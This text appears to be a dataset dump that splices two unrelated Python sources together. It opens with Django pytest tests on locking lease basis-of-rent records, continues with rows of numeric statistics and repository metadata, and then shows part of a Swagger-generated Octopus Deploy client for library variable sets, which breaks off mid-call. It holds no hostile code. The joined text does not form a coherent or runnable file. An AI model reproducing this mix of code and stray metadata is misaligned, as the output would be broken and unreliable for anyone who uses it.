cls=DjangoJSONEncoder), content_type='application/json') assert response.status_code == 200, '%s %s' % (response.status_code, response.data) lease_basis_of_rent = LeaseBasisOfRent.objects.get(pk=lease_basis_of_rent.id) assert lease_basis_of_rent.locked_at == lock_time @pytest.mark.django_db def test_cannot_change_locked_lease_basis_of_rent(django_db_setup, client, lease_test_data, user_factory, lease_basis_of_rent_factory): user = user_factory(username='test_user') user.set_password('test_password') user.save() permission_codenames = [ 'view_lease', 'change_lease', 'add_leasebasisofrent', 'change_lease_basis_of_rents', 'change_leasebasisofrent', 'change_leasebasisofrent_locked_at', ] for permission_codename in permission_codenames: permission = Permission.objects.get(codename=permission_codename) user.user_permissions.add(permission) client.login(username='test_user', password='test_password') lease = lease_test_data['lease'] lock_time = datetime.datetime(year=2010, month=1, day=1, hour=1, minute=1, tzinfo=pytz.timezone('Europe/Helsinki')) lease_basis_of_rent = lease_basis_of_rent_factory( lease=lease, intended_use_id=1, area=12345, index_id=1, locked_at=lock_time, ) data = { "id": lease.id, "basis_of_rents": [{ "id": lease_basis_of_rent.id, "intended_use_id": 2, }] } url = reverse('lease-detail', kwargs={ 'pk': lease.id }) response = client.patch(url, data=json.dumps(data, cls=DjangoJSONEncoder), content_type='application/json') assert response.status_code == 400, '%s %s' % (response.status_code, response.data) lease_basis_of_rent = LeaseBasisOfRent.objects.get(pk=lease_basis_of_rent.id) assert lease_basis_of_rent.intended_use_id == 1 @pytest.mark.django_db def test_cannot_unclock_locked_lease_basis_of_rent(django_db_setup, client, lease_test_data, user_factory, lease_basis_of_rent_factory): user = user_factory(username='test_user') user.set_password('test_password') user.save() permission_codenames = [ 'view_lease', 'change_lease', 'add_leasebasisofrent', 'change_lease_basis_of_rents', 'change_leasebasisofrent', ] for permission_codename in permission_codenames: permission = Permission.objects.get(codename=permission_codename) user.user_permissions.add(permission) client.login(username='test_user', password='test_password') lease = lease_test_data['lease'] lock_time = datetime.datetime(year=2010, month=1, day=1, hour=1, minute=1, tzinfo=pytz.timezone('Europe/Helsinki')) lease_basis_of_rent = lease_basis_of_rent_factory( lease=lease, intended_use_id=1, area=12345, index_id=1, locked_at=lock_time, ) data = { "id": lease.id, "basis_of_rents": [{ "id": lease_basis_of_rent.id, "locked_at": None, }] } url = reverse('lease-detail', kwargs={ 'pk': lease.id }) response = client.patch(url, data=json.dumps(data, cls=DjangoJSONEncoder), content_type='application/json') assert response.status_code == 200, '%s %s' % (response.status_code, response.data) lease_basis_of_rent = LeaseBasisOfRent.objects.get(pk=lease_basis_of_rent.id) assert lease_basis_of_rent.locked_at == lock_time @pytest.mark.django_db def test_can_unclock_locked_lease_basis_of_rent(django_db_setup, client, lease_test_data, user_factory, lease_basis_of_rent_factory): user = user_factory(username='test_user') user.set_password('test_password') user.save() permission_codenames = [ 'view_lease', 'change_lease', 'add_leasebasisofrent', 'change_lease_basis_of_rents', 'change_leasebasisofrent', 'change_leasebasisofrent_locked_at', ] for permission_codename in permission_codenames: permission = Permission.objects.get(codename=permission_codename) user.user_permissions.add(permission) client.login(username='test_user', password='test_password') lease = lease_test_data['lease'] lock_time = datetime.datetime(year=2010, month=1, day=1, hour=1, minute=1, tzinfo=pytz.timezone('Europe/Helsinki')) lease_basis_of_rent = lease_basis_of_rent_factory( lease=lease, intended_use_id=1, area=12345, index_id=1, locked_at=lock_time, ) data = { "id": lease.id, "basis_of_rents": [{ "id": lease_basis_of_rent.id, "locked_at": None, }] } url = reverse('lease-detail', kwargs={ 'pk': lease.id }) response = client.patch(url, data=json.dumps(data, cls=DjangoJSONEncoder), content_type='application/json') assert response.status_code == 200, '%s %s' % (response.status_code, response.data) lease_basis_of_rent = LeaseBasisOfRent.objects.get(pk=lease_basis_of_rent.id) assert lease_basis_of_rent.locked_at is None @pytest.mark.django_db def test_cannot_remove_locked_lease_basis_of_rent(django_db_setup, client, lease_test_data, user_factory, lease_basis_of_rent_factory): user = user_factory(username='test_user') user.set_password('test_password') user.save() permission_codenames = [ 'view_lease', 'change_lease', 'add_leasebasisofrent', 'delete_leasebasisofrent', 'change_lease_basis_of_rents', 'change_leasebasisofrent', 'change_leasebasisofrent_locked_at', ] for permission_codename in permission_codenames: permission = Permission.objects.get(codename=permission_codename) user.user_permissions.add(permission) client.login(username='test_user', password='test_password') lease = lease_test_data['lease'] lock_time = datetime.datetime(year=2010, month=1, day=1, hour=1, minute=1, tzinfo=pytz.timezone('Europe/Helsinki')) lease_basis_of_rent_factory( lease=lease, intended_use_id=1, area=12345, index_id=1, locked_at=lock_time, ) data = { "id": lease.id, "basis_of_rents": [] } url = reverse('lease-detail', kwargs={ 'pk': lease.id }) response = client.patch(url, data=json.dumps(data, cls=DjangoJSONEncoder), content_type='application/json') assert response.status_code == 200, '%s %s' % (response.status_code, response.data) assert lease.basis_of_rents.count() == 1
30.664234
119
0.668293
1,023
8,402
5.147605
0.091887
0.061147
0.09343
0.106343
0.941891
0.941891
0.937144
0.924231
0.924231
0.924231
0
0.014268
0.224232
8,402
273
120
30.776557
0.793648
0
0
0.821256
0
0
0.147584
0.048203
0
0
0
0
0.048309
1
0.024155
false
0.048309
0.038647
0
0.062802
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9af09d55cdb3aa6f9b9ab513807769f2e9caf25e
67,869
py
Python
octopus_deploy_swagger_client/octopus_deploy_client/library_variable_sets_api.py
cvent/octopus-deploy-api-client
0e03e842e1beb29b132776aee077df570b88366a
[ "Apache-2.0" ]
null
null
null
octopus_deploy_swagger_client/octopus_deploy_client/library_variable_sets_api.py
cvent/octopus-deploy-api-client
0e03e842e1beb29b132776aee077df570b88366a
[ "Apache-2.0" ]
null
null
null
octopus_deploy_swagger_client/octopus_deploy_client/library_variable_sets_api.py
cvent/octopus-deploy-api-client
0e03e842e1beb29b132776aee077df570b88366a
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ Octopus Server API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: 2019.6.7+Branch.tags-2019.6.7.Sha.aa18dc6809953218c66f57eff7d26481d9b23d6a Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from octopus_deploy_swagger_client.api_client import ApiClient class LibraryVariableSetsApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def create_response_descriptor_variables_library_variable_set_library_variable_set_resource(self, **kwargs): # noqa: E501 """Create a LibraryVariableSetResource # noqa: E501 Creates a new library variable set. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_response_descriptor_variables_library_variable_set_library_variable_set_resource(async_req=True) >>> result = thread.get() :param async_req bool :param LibraryVariableSetResource library_variable_set_resource: The LibraryVariableSetResource resource to create :return: LibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.create_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(**kwargs) # noqa: E501 else: (data) = self.create_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(**kwargs) # noqa: E501 return data def create_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(self, **kwargs): # noqa: E501 """Create a LibraryVariableSetResource # noqa: E501 Creates a new library variable set. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :param LibraryVariableSetResource library_variable_set_resource: The LibraryVariableSetResource resource to create :return: LibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ all_params = ['library_variable_set_resource'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_response_descriptor_variables_library_variable_set_library_variable_set_resource" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'library_variable_set_resource' in params: body_params = params['library_variable_set_resource'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/libraryvariablesets', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='LibraryVariableSetResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def create_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces(self, base_space_id, **kwargs): # noqa: E501 """Create a LibraryVariableSetResource # noqa: E501 Creates a new library variable set. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces(base_space_id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :param LibraryVariableSetResource library_variable_set_resource: The LibraryVariableSetResource resource to create :return: LibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.create_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, **kwargs) # noqa: E501 else: (data) = self.create_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, **kwargs) # noqa: E501 return data def create_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(self, base_space_id, **kwargs): # noqa: E501 """Create a LibraryVariableSetResource # noqa: E501 Creates a new library variable set. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :param LibraryVariableSetResource library_variable_set_resource: The LibraryVariableSetResource resource to create :return: LibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ all_params = ['base_space_id', 'library_variable_set_resource'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'base_space_id' is set if ('base_space_id' not in params or params['base_space_id'] is None): raise ValueError("Missing the required parameter `base_space_id` when calling `create_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces`") # noqa: E501 collection_formats = {} path_params = {} if 'base_space_id' in params: path_params['baseSpaceId'] = params['base_space_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'library_variable_set_resource' in params: body_params = params['library_variable_set_resource'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/{baseSpaceId}/libraryvariablesets', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='LibraryVariableSetResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action(self, id, **kwargs): # noqa: E501 """custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action # noqa: E501 Lists projects and deployments which are using an library variable set. NOTE: This definition is not complete. We will be adding more detail in future releases of Octopus. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: ID of the resource (required) :return: LibraryVariableSetUsageResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_with_http_info(id, **kwargs) # noqa: E501 return data def custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_with_http_info(self, id, **kwargs): # noqa: E501 """custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action # noqa: E501 Lists projects and deployments which are using an library variable set. NOTE: This definition is not complete. We will be adding more detail in future releases of Octopus. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: ID of the resource (required) :return: LibraryVariableSetUsageResource If the method is called asynchronously, returns the request thread. """ all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/libraryvariablesets/{id}/usages', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='LibraryVariableSetUsageResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_spaces(self, base_space_id, id, **kwargs): # noqa: E501 """custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_spaces # noqa: E501 Lists projects and deployments which are using an library variable set. NOTE: This definition is not complete. We will be adding more detail in future releases of Octopus. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_spaces(base_space_id, id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :param str id: ID of the resource (required) :return: LibraryVariableSetUsageResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_spaces_with_http_info(base_space_id, id, **kwargs) # noqa: E501 else: (data) = self.custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_spaces_with_http_info(base_space_id, id, **kwargs) # noqa: E501 return data def custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_spaces_with_http_info(self, base_space_id, id, **kwargs): # noqa: E501 """custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_spaces # noqa: E501 Lists projects and deployments which are using an library variable set. NOTE: This definition is not complete. We will be adding more detail in future releases of Octopus. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_spaces_with_http_info(base_space_id, id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :param str id: ID of the resource (required) :return: LibraryVariableSetUsageResource If the method is called asynchronously, returns the request thread. """ all_params = ['base_space_id', 'id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_spaces" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'base_space_id' is set if ('base_space_id' not in params or params['base_space_id'] is None): raise ValueError("Missing the required parameter `base_space_id` when calling `custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_spaces`") # noqa: E501 # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `custom_action_response_descriptor_octopus_server_web_api_actions_library_variable_set_usage_list_action_spaces`") # noqa: E501 collection_formats = {} path_params = {} if 'base_space_id' in params: path_params['baseSpaceId'] = params['base_space_id'] # noqa: E501 if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/{baseSpaceId}/libraryvariablesets/{id}/usages', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='LibraryVariableSetUsageResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource(self, id, **kwargs): # noqa: E501 """Delete a LibraryVariableSetResource by ID # noqa: E501 Deletes an existing library variable set. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: ID of the LibraryVariableSetResource to delete (required) :return: TaskResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(id, **kwargs) # noqa: E501 return data def delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(self, id, **kwargs): # noqa: E501 """Delete a LibraryVariableSetResource by ID # noqa: E501 Deletes an existing library variable set. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: ID of the LibraryVariableSetResource to delete (required) :return: TaskResource If the method is called asynchronously, returns the request thread. """ all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/libraryvariablesets/{id}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TaskResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces(self, base_space_id, id, **kwargs): # noqa: E501 """Delete a LibraryVariableSetResource by ID # noqa: E501 Deletes an existing library variable set. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces(base_space_id, id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :param str id: ID of the LibraryVariableSetResource to delete (required) :return: TaskResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, id, **kwargs) # noqa: E501 else: (data) = self.delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, id, **kwargs) # noqa: E501 return data def delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(self, base_space_id, id, **kwargs): # noqa: E501 """Delete a LibraryVariableSetResource by ID # noqa: E501 Deletes an existing library variable set. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :param str id: ID of the LibraryVariableSetResource to delete (required) :return: TaskResource If the method is called asynchronously, returns the request thread. """ all_params = ['base_space_id', 'id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'base_space_id' is set if ('base_space_id' not in params or params['base_space_id'] is None): raise ValueError("Missing the required parameter `base_space_id` when calling `delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces`") # noqa: E501 # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `delete_on_background_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces`") # noqa: E501 collection_formats = {} path_params = {} if 'base_space_id' in params: path_params['baseSpaceId'] = params['base_space_id'] # noqa: E501 if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/{baseSpaceId}/libraryvariablesets/{id}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TaskResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def index_response_descriptor_variables_library_variable_set_library_variable_set_resource(self, **kwargs): # noqa: E501 """Get a list of LibraryVariableSetResources # noqa: E501 Lists all of the library variable sets in the supplied Octopus Deploy Space. The results will be sorted alphabetically by name. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.index_response_descriptor_variables_library_variable_set_library_variable_set_resource(async_req=True) >>> result = thread.get() :param async_req bool :param int skip: Number of items to skip :param int take: Number of items to take :return: ResourceCollectionLibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.index_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(**kwargs) # noqa: E501 else: (data) = self.index_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(**kwargs) # noqa: E501 return data def index_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(self, **kwargs): # noqa: E501 """Get a list of LibraryVariableSetResources # noqa: E501 Lists all of the library variable sets in the supplied Octopus Deploy Space. The results will be sorted alphabetically by name. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.index_response_descriptor_variables_library_variable_set_library_variable_set_resource_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :param int skip: Number of items to skip :param int take: Number of items to take :return: ResourceCollectionLibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ all_params = ['skip', 'take'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method index_response_descriptor_variables_library_variable_set_library_variable_set_resource" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'skip' in params: query_params.append(('skip', params['skip'])) # noqa: E501 if 'take' in params: query_params.append(('take', params['take'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/libraryvariablesets', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ResourceCollectionLibraryVariableSetResource', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def index_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces(self, base_space_id, **kwargs): # noqa: E501 """Get a list of LibraryVariableSetResources # noqa: E501 Lists all of the library variable sets in the supplied Octopus Deploy Space. The results will be sorted alphabetically by name. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.index_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces(base_space_id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :param int skip: Number of items to skip :param int take: Number of items to take :return: ResourceCollectionLibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.index_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, **kwargs) # noqa: E501 else: (data) = self.index_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, **kwargs) # noqa: E501 return data def index_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(self, base_space_id, **kwargs): # noqa: E501 """Get a list of LibraryVariableSetResources # noqa: E501 Lists all of the library variable sets in the supplied Octopus Deploy Space. The results will be sorted alphabetically by name. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.index_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces_with_http_info(base_space_id, async_req=True) >>> result = thread.get() :param async_req bool :param str base_space_id: ID of the space (required) :param int skip: Number of items to skip :param int take: Number of items to take :return: ResourceCollectionLibraryVariableSetResource If the method is called asynchronously, returns the request thread. """ all_params = ['base_space_id', 'skip', 'take'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method index_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'base_space_id' is set if ('base_space_id' not in params or params['base_space_id'] is None): raise ValueError("Missing the required parameter `base_space_id` when calling `index_response_descriptor_variables_library_variable_set_library_variable_set_resource_spaces`") # noqa: E501 collection_formats = {} path_params = {} if 'base_space_id' in params: path_params['baseSpaceId'] = params['base_space_id'] # noqa: E501 query_params = [] if 'skip' in params: query_params.append(('skip', params['skip'])) # noqa: E501 if 'take' in params: query_params.append(('take', params['take'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['APIKeyHeader', 'APIKeyQuery', 'NugetApiKeyHeader'] # noqa: E501 return self.api_client.call_api( '/api/{baseSpaceId}/libraryvariablesets', 'GET', path_params, query_params, 